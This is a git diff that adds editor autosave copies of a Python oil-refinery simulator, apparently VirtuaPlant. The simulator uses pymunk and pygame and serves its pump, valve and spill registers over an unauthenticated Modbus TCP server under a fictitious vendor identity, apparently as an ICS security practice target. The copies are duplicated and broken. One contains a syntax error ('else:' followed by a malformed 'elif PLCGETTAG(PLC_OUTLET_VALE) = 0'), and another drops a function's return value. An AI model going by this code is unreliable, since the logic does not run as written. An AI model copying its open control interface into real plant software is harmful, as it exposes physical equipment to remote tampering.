+ waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue'])
+ tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue'])
+ separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue'])
+ waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue'])
+ outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue'])
+
+ bg.blit(title, (300, 40))
+ bg.blit(name, (347, 10))
+ bg.blit(instructions, (SCREEN_WIDTH-115, 0))
+ bg.blit(feed_pump_label, (80, 0))
+ bg.blit(oil_storage_label, (125, 100))
+ bg.blit(separator_label, (385,275))
+ screen.blit(waste_water_label, (265, 490))
+ bg.blit(tank_sensor, (125, 50))
+ bg.blit(outlet_sensor, (90, 195))
+ bg.blit(separator_release, (350, 375))
+ bg.blit(waste_sensor, (90, 375))
+ screen.blit(bg, (0, 0))
+
+ space.step(1/FPS)
+ pygame.display.flip()
+
+ if reactor.running:
+ reactor.callFromThread(reactor.stop)
+
+store = ModbusSlaveContext(
+ di = ModbusSequentialDataBlock(0, [0]*100),
+ co = ModbusSequentialDataBlock(0, [0]*100),
+ hr = ModbusSequentialDataBlock(0, [0]*100),
+ ir = ModbusSequentialDataBlock(0, [0]*100))
+
+context = ModbusServerContext(slaves=store, single=True)
+
+# Modbus PLC server information
+identity = ModbusDeviceIdentification()
+identity.VendorName = 'Simmons Oil Refining Platform'
+identity.ProductCode = 'SORP'
+identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html'
+identity.ProductName = 'SORP 3850'
+identity.ModelName = 'Simmons ORP 3850'
+identity.MajorMinorRevision = '2.09.01'
+
+def startModbusServer():
+ # Run a modbus server on specified address and modbus port (5020)
+ StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT))
+
+def main():
+ reactor.callInThread(run_world)
+ startModbusServer()
+
+if __name__ == '__main__':
+ sys.exit(main())
diff --git a/plants/oil-refinery/.~c9_invoke_oiiqP3.py b/plants/oil-refinery/.~c9_invoke_oiiqP3.py
new file mode 100644
index 0000000..82f8f00
--- /dev/null
+++ b/plants/oil-refinery/.~c9_invoke_oiiqP3.py
@@ -0,0 +1,468 @@
+#!/usr/bin/env python
+import logging
+
+# - Multithreading
+from twisted.internet import reactor
+
+# - Modbus
+from pymodbus.server.async import StartTcpServer
+from pymodbus.device import ModbusDeviceIdentification
+from pymodbus.datastore import ModbusSequentialDataBlock
+from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext
+from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer
+
+# - World Simulator
+import sys, random
+import pygame
+from pygame.locals import *
+from pygame.color import *
+import pymunk
+
+import socket
+
+import argparse
+import os
+import sys
+import time
+
+# Override Argument parser to throw error and generate help message
+# if undefined args are passed
+class MyParser(argparse.ArgumentParser):
+ def error(self, message):
+ sys.stderr.write('error: %s\n' % message)
+ self.print_help()
+ sys.exit(2)
+
+# Create argparser object to add command line args and help option
+parser = MyParser(
+ description = 'This Python script starts the SCADA/ICS World Server',
+ epilog = '',
+ add_help = True)
+
+# Add a "-i" argument to receive a filename
+parser.add_argument("-t", action = "store", dest="server_addr",
+ help = "Modbus server IP address to listen on")
+
+# Print help if no args are supplied
+if len(sys.argv)==1:
+ parser.print_help()
+ sys.exit(1)
+
+# Split and process arguments into "args"
+args = parser.parse_args()
+
+logging.basicConfig()
+log = logging.getLogger()
+log.setLevel(logging.INFO)
+
+# Display settings
+SCREEN_WIDTH = 580
+SCREEN_HEIGHT = 460
+FPS=50.0
+
+# Port the world will listen on
+MODBUS_SERVER_PORT=5020
+
+# Amount of oil spilled/processed
+oil_spilled_amount = 0
+oil_processed_amount = 0
+
+# PLC Register values for various control functions
+PLC_FEED_PUMP = 0x01
+PLC_TANK_LEVEL = 0x02
+PLC_OUTLET_VALVE = 0x03
+PLC_SEP_VESSEL = 0x04
+PLC_SEP_FEED = 0x05
+PLC_OIL_SPILL = 0x06
+PLC_OIL_PROCESSED = 0x07
+
+# Collision types
+tank_level_collision = 0x4
+ball_collision = 0x5
+outlet_valve_collision = 0x6
+sep_vessel_collision = 0x7
+separator_collision = 0x8
+oil_spill_collision = 0x9
+
+
+def to_pygame(p):
+ """Small hack to convert pymunk to pygame coordinates"""
+ return int(p.x), int(-p.y+600)
+
+# Add "oil" to the world space
+def add_ball(space):
+ mass = 0.01
+ radius = 3
+ inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0))
+ body = pymunk.Body(mass, inertia)
+ body._bodycontents.v_limit = 120
+ body._bodycontents.h_limit = 1
+ x = random.randint(69, 70)
+ body.position = x, 565
+ shape = pymunk.Circle(body, radius, (0,0))
+ shape.collision_type = ball_collision #liquid
+ space.add(body, shape)
+ return shape
+
+# Add a ball to the space
+def draw_ball(screen, ball, color=THECOLORS['brown']):
+ p = int(ball.body.position.x), 600-int(ball.body.position.y)
+ pygame.draw.circle(screen, color, p, int(ball.radius), 2)
+
+# Add the separator vessel feed
+def separator_vessel_feed(space):
+ body = pymunk.Body()
+ body.position = (420, 257)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = separator_collision # Collision value for separator
+ space.add(shape)
+ return shape
+
+# Add the separator vessel release
+def separator_vessel_release(space):
+ body = pymunk.Body()
+ body.position = (387, 225)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = sep_vessel_collision
+ space.add(shape)
+ return shape
+
+# Add the tank level sensor
+def tank_level_sensor(space):
+ body = pymunk.Body()
+ body.position = (115, 535)
+ radius = 3
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = tank_level_collision # tank_level
+ space.add(shape)
+ return shape
+
+def outlet_valve_sensor(space):
+ body = pymunk.Body()
+ body.position = (70, 410)
+ # Check these coords and adjust
+ a = (-20, 10)
+ b = (20, 10)
+ radius = 4
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = outlet_valve_collision
+ space.add(shape)
+ return shape
+
+def oil_spill_sensor(space):
+ body = pymunk.Body()
+ body.position = (0, 0)
+ radius = 7
+ a = (0, 75)
+ b = (SCREEN_WIDTH, 75)
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = oil_spill_collision # oil spill sensor
+ space.add(shape)
+ return shape
+
+# Add the feed pump to the space
+def add_pump(space):
+ body = pymunk.Body()
+ body.position = (70, 585)
+ shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0)
+ space.add(shape)
+ return shape
+
+# Draw the various "pipes" that the oil flows through
+# TODO: Get rid of magic numbers and add constants + offsets
+def add_oil_unit(space):
+ body = pymunk.Body()
+ body.position = (300,300)
+
+ #oil storage unit
+ l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line
+ l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5)
+ l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line
+ l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5)
+
+ #pipe to separator vessel
+ l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line
+ l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line
+ l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5)
+ l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line
+ l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line
+ l10 = pymunk.Segment(body, (7, 80), (7, 33), 5)
+
+ #separator vessel
+ l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line
+ l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line
+ l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5)
+ l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line
+ l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line
+ l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5)
+ l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line
+ l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line
+ l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line
+ l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line
+ l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line
+ l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line
+ l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line
+ l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line
+
+ #separator exit pipe
+ l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line
+ l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line
+ l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line
+ l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line
+
+ #waste water pipe
+ l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line
+ l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line
+ l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line
+ l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line
+ l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line
+ l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line
+
+ space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15,
+ l16, l17, l18, l19, l20, l21, l22, l23, l24, l25,
+ l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3
+
+ return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16,
+ l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30,
+ l31,l32,l33,l34)
+
+def draw_polygon(bg, shape):
+ points = shape.get_vertices()
+ fpoints = []
+ for p in points:
+ fpoints.append(to_pygame(p))
+ pygame.draw.polygon(bg, THECOLORS['black'], fpoints)
+
+# Draw a single line to the screen
+def draw_line(screen, line, color = None):
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ if color is None:
+ pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2])
+ else:
+ pygame.draw.lines(screen, color, False, [p1,p2])
+
+# Draw lines from an iterable list
+def draw_lines(screen, lines):
+ for line in lines:
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2])
+
+# Default collision function for objects
+# Returning true makes the two objects collide normally just like "walls/pipes"
+def no_collision(space, arbiter, *args, **kwargs):
+ return True
+
+# Called when level sensor in tank is hit
+def level_reached(space, arbiter, *args, **kwargs):
+ log.debug("Level reached")
+ PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full
+ PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump
+# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1
+ return False
+
+def oil_spilled(space, arbiter, *args, **kwargs):
+ global oil_spilled_amount
+ global oil_processed_amount
+ log.debug("Oil Spilled")
+ oil_spilled_amount = oil_spilled_amount + 1
+ PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil
+ PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump
+ return False
+
+# This fires when the separator level is hit
+def sep_on(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing
+ return False
+
+# This fires when the separator is not processing
+def sep_off(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing
+ return False
+
+def sep_feed_on(space, arbiter, *args, **kwargs):
+ log.debug("Outlet Feed")
+ PLCSetTag(PLC_SEP_FEED, 1)
+ return False
+
+def outlet_valve_open(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve open")
+ PLCSetTag(PLC_OUTLET_VALVE, 0)
+ return False
+
+def outlet_valve_closed(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve close")
+ PLCSetTag(PLC_OUTLET_VALVE, 1)
+ return False
+
+def run_world():
+ pygame.init()
+ screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
+ pygame.display.set_caption("Crude Oil Pretreatment Unit")
+ clock = pygame.time.Clock()
+ running = True
+
+
+ # Create game space (world) and set gravity to normal
+ space = pymunk.Space() #2
+ space.gravity = (0.0, -900.0)
+
+ # When oil collides with tank_level, call level_reached
+ space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached)
+ space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled)
+
+
+ pump = add_pump(space)
+ lines = add_oil_unit(space)
+ tank_level = tank_level_sensor(space)
+ separator_vessel = separator_vessel_release(space)
+ separator_feed = separator_vessel_feed(space)
+ separator_feed = separator_vessel_feed(space)
+ oil_spill = oil_spill_sensor(space)
+ outlet = outlet_valve_sensor(space)
+
+
+ balls = []
+
+ ticks_to_next_ball = 1
+
+ # Set font settings
+ fontBig = pygame.font.SysFont(None, 40)
+ fontMedium = pygame.font.SysFont(None, 26)
+ fontSmall = pygame.font.SysFont(None, 18)
+
+ while running:
+ # Advance the game clock
+ clock.tick(FPS)
+
+ for event in pygame.event.get():
+ if event.type == QUIT:
+ running = False
+ elif event.type == KEYDOWN and event.key == K_ESCAPE:
+ running = False
+
+ bg = pygame.image.load("oil_unit.png")
+
+ screen.fill(THECOLORS["grey"])
+
+ # If the feed pump is on
+ if PLCGetTag(PLC_FEED_PUMP) == 1:
+ # Draw the valve if the pump is on
+ # If the oil reaches the level sensor at the top of the tank
+ if (PLCGetTag(PLC_TANK_LEVEL) == 1):
+ PLCSetTag(PLC_FEED_PUMP, 0)
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+
+ else:
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed)
+ elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ # If the separator process is turned on
+ if PLCGetTag(PLC_SEP_VESSEL) == 1:
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+ else:
+ elif PLCGETTAG(PLC_OUTLET_VALE) = 0: # Valve is open
+ space.add_collision_handler(separator_collision, ball_collision, begin=no_collision)
+
+
+ ticks_to_next_ball -= 1
+
+ if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1:
+ ticks_to_next_ball = 1
+ ball_shape = add_ball(space)
+ balls.append(ball_shape)
+
+ balls_to_remove = []
+ for ball in balls:
+ if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150:
+ balls_to_remove.append(ball)
+
+ draw_ball(bg, ball)
+
+ for ball in balls_to_remove:
+ space.remove(ball, ball.body)
+ balls.remove(ball)
+
+ draw_polygon(bg, pump)
+ draw_lines(bg, lines)
+ draw_ball(bg, tank_level, THECOLORS['black'])
+ draw_ball(bg, separator_vessel, THECOLORS['black'])
+ draw_ball(bg, separator_feed, THECOLORS['black'])
+ draw_line(bg, outlet)
+
+ #draw_ball(screen, separator_feed, THECOLORS['red'])
+ title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue'])
+ name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20'])
+ instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray'])
+ feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue'])
+ oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue'])
+ separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue'])
+ waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue'])
+ tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue'])
+ separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue'])
+ waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue'])
+ outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue'])
+
+ bg.blit(title, (300, 40))
+ bg.blit(name, (347, 10))
+ bg.blit(instructions, (SCREEN_WIDTH-115, 0))
+ bg.blit(feed_pump_label, (80, 0))
+ bg.blit(oil_storage_label, (125, 100))
+ bg.blit(separator_label, (385,275))
+ screen.blit(waste_water_label, (265, 490))
+ bg.blit(tank_sensor, (125, 50))
+ bg.blit(outlet_sensor, (90, 195))
+ bg.blit(separator_release, (350, 375))
+ bg.blit(waste_sensor, (90, 375))
+ screen.blit(bg, (0, 0))
+
+ space.step(1/FPS)
+ pygame.display.flip()
+
+ if reactor.running:
+ reactor.callFromThread(reactor.stop)
+
+store = ModbusSlaveContext(
+ di = ModbusSequentialDataBlock(0, [0]*100),
+ co = ModbusSequentialDataBlock(0, [0]*100),
+ hr = ModbusSequentialDataBlock(0, [0]*100),
+ ir = ModbusSequentialDataBlock(0, [0]*100))
+
+context = ModbusServerContext(slaves=store, single=True)
+
+# Modbus PLC server information
+identity = ModbusDeviceIdentification()
+identity.VendorName = 'Simmons Oil Refining Platform'
+identity.ProductCode = 'SORP'
+identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html'
+identity.ProductName = 'SORP 3850'
+identity.ModelName = 'Simmons ORP 3850'
+identity.MajorMinorRevision = '2.09.01'
+
+def startModbusServer():
+ # Run a modbus server on specified address and modbus port (5020)
+ StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT))
+
+def main():
+ reactor.callInThread(run_world)
+ startModbusServer()
+
+if __name__ == '__main__':
+ sys.exit(main())
diff --git a/plants/oil-refinery/.~c9_invoke_pApcQc.py b/plants/oil-refinery/.~c9_invoke_pApcQc.py
new file mode 100644
index 0000000..04bbddb
--- /dev/null
+++ b/plants/oil-refinery/.~c9_invoke_pApcQc.py
@@ -0,0 +1,468 @@
+#!/usr/bin/env python
+import logging
+
+# - Multithreading
+from twisted.internet import reactor
+
+# - Modbus
+from pymodbus.server.async import StartTcpServer
+from pymodbus.device import ModbusDeviceIdentification
+from pymodbus.datastore import ModbusSequentialDataBlock
+from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext
+from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer
+
+# - World Simulator
+import sys, random
+import pygame
+from pygame.locals import *
+from pygame.color import *
+import pymunk
+
+import socket
+
+import argparse
+import os
+import sys
+import time
+
+# Override Argument parser to throw error and generate help message
+# if undefined args are passed
+class MyParser(argparse.ArgumentParser):
+ def error(self, message):
+ sys.stderr.write('error: %s\n' % message)
+ self.print_help()
+ sys.exit(2)
+
+# Create argparser object to add command line args and help option
+parser = MyParser(
+ description = 'This Python script starts the SCADA/ICS World Server',
+ epilog = '',
+ add_help = True)
+
+# Add a "-i" argument to receive a filename
+parser.add_argument("-t", action = "store", dest="server_addr",
+ help = "Modbus server IP address to listen on")
+
+# Print help if no args are supplied
+if len(sys.argv)==1:
+ parser.print_help()
+ sys.exit(1)
+
+# Split and process arguments into "args"
+args = parser.parse_args()
+
+logging.basicConfig()
+log = logging.getLogger()
+log.setLevel(logging.INFO)
+
+# Display settings
+SCREEN_WIDTH = 580
+SCREEN_HEIGHT = 460
+FPS=50.0
+
+# Port the world will listen on
+MODBUS_SERVER_PORT=5020
+
+# Amount of oil spilled/processed
+oil_spilled_amount = 0
+oil_processed_amount = 0
+
+# PLC Register values for various control functions
+PLC_FEED_PUMP = 0x01
+PLC_TANK_LEVEL = 0x02
+PLC_OUTLET_VALVE = 0x03
+PLC_SEP_VESSEL = 0x04
+PLC_SEP_FEED = 0x05
+PLC_OIL_SPILL = 0x06
+PLC_OIL_PROCESSED = 0x07
+
+# Collision types
+tank_level_collision = 0x4
+ball_collision = 0x5
+outlet_valve_collision = 0x6
+sep_vessel_collision = 0x7
+separator_collision = 0x8
+oil_spill_collision = 0x9
+
+
+def to_pygame(p):
+ """Small hack to convert pymunk to pygame coordinates"""
+ return int(p.x), int(-p.y+600)
+
+# Add "oil" to the world space
+def add_ball(space):
+ mass = 0.01
+ radius = 3
+ inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0))
+ body = pymunk.Body(mass, inertia)
+ body._bodycontents.v_limit = 120
+ body._bodycontents.h_limit = 1
+ x = random.randint(69, 70)
+ body.position = x, 565
+ shape = pymunk.Circle(body, radius, (0,0))
+ shape.collision_type = ball_collision #liquid
+ space.add(body, shape)
+ return shape
+
+# Add a ball to the space
+def draw_ball(screen, ball, color=THECOLORS['brown']):
+ p = int(ball.body.position.x), 600-int(ball.body.position.y)
+ pygame.draw.circle(screen, color, p, int(ball.radius), 2)
+
+# Add the separator vessel feed
+def separator_vessel_feed(space):
+ body = pymunk.Body()
+ body.position = (420, 257)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = separator_collision # Collision value for separator
+ space.add(shape)
+ return shape
+
+# Add the separator vessel release
+def separator_vessel_release(space):
+ body = pymunk.Body()
+ body.position = (387, 225)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = sep_vessel_collision
+ space.add(shape)
+ return shape
+
+# Add the tank level sensor
+def tank_level_sensor(space):
+ body = pymunk.Body()
+ body.position = (115, 535)
+ radius = 3
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = tank_level_collision # tank_level
+ space.add(shape)
+ return shape
+
+def outlet_valve_sensor(space):
+ body = pymunk.Body()
+ body.position = (70, 410)
+ # Check these coords and adjust
+ a = (-20, 10)
+ b = (20, 10)
+ radius = 4
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = outlet_valve_collision
+ space.add(shape)
+
+
+def oil_spill_sensor(space):
+ body = pymunk.Body()
+ body.position = (0, 0)
+ radius = 7
+ a = (0, 75)
+ b = (SCREEN_WIDTH, 75)
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = oil_spill_collision # oil spill sensor
+ space.add(shape)
+ return shape
+
+# Add the feed pump to the space
+def add_pump(space):
+ body = pymunk.Body()
+ body.position = (70, 585)
+ shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0)
+ space.add(shape)
+ return shape
+
+# Draw the various "pipes" that the oil flows through
+# TODO: Get rid of magic numbers and add constants + offsets
+def add_oil_unit(space):
+ body = pymunk.Body()
+ body.position = (300,300)
+
+ #oil storage unit
+ l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line
+ l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5)
+ l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line
+ l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5)
+
+ #pipe to separator vessel
+ l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line
+ l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line
+ l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5)
+ l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line
+ l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line
+ l10 = pymunk.Segment(body, (7, 80), (7, 33), 5)
+
+ #separator vessel
+ l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line
+ l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line
+ l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5)
+ l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line
+ l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line
+ l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5)
+ l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line
+ l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line
+ l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line
+ l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line
+ l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line
+ l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line
+ l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line
+ l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line
+
+ #separator exit pipe
+ l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line
+ l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line
+ l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line
+ l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line
+
+ #waste water pipe
+ l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line
+ l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line
+ l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line
+ l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line
+ l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line
+ l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line
+
+ space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15,
+ l16, l17, l18, l19, l20, l21, l22, l23, l24, l25,
+ l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3
+
+ return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16,
+ l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30,
+ l31,l32,l33,l34)
+
+def draw_polygon(bg, shape):
+ points = shape.get_vertices()
+ fpoints = []
+ for p in points:
+ fpoints.append(to_pygame(p))
+ pygame.draw.polygon(bg, THECOLORS['black'], fpoints)
+
+# Draw a single line to the screen
+def draw_line(screen, line, color = None):
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ if color is None:
+ pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2])
+ else:
+ pygame.draw.lines(screen, color, False, [p1,p2])
+
+# Draw lines from an iterable list
+def draw_lines(screen, lines):
+ for line in lines:
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2])
+
+# Default collision function for objects
+# Returning true makes the two objects collide normally just like "walls/pipes"
+def no_collision(space, arbiter, *args, **kwargs):
+ return True
+
+# Called when level sensor in tank is hit
+def level_reached(space, arbiter, *args, **kwargs):
+ log.debug("Level reached")
+ PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full
+ PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump
+# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1
+ return False
+
+def oil_spilled(space, arbiter, *args, **kwargs):
+ global oil_spilled_amount
+ global oil_processed_amount
+ log.debug("Oil Spilled")
+ oil_spilled_amount = oil_spilled_amount + 1
+ PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil
+ PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump
+ return False
+
+# This fires when the separator level is hit
+def sep_on(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing
+ return False
+
+# This fires when the separator is not processing
+def sep_off(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing
+ return False
+
+def sep_feed_on(space, arbiter, *args, **kwargs):
+ log.debug("Outlet Feed")
+ PLCSetTag(PLC_SEP_FEED, 1)
+ return False
+
+def outlet_valve_open(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve open")
+ PLCSetTag(PLC_OUTLET_VALVE, 0)
+ return False
+
+def outlet_valve_closed(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve close")
+ PLCSetTag(PLC_OUTLET_VALVE, 1)
+ return False
+
+def run_world():
+ pygame.init()
+ screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
+ pygame.display.set_caption("Crude Oil Pretreatment Unit")
+ clock = pygame.time.Clock()
+ running = True
+
+
+ # Create game space (world) and set gravity to normal
+ space = pymunk.Space() #2
+ space.gravity = (0.0, -900.0)
+
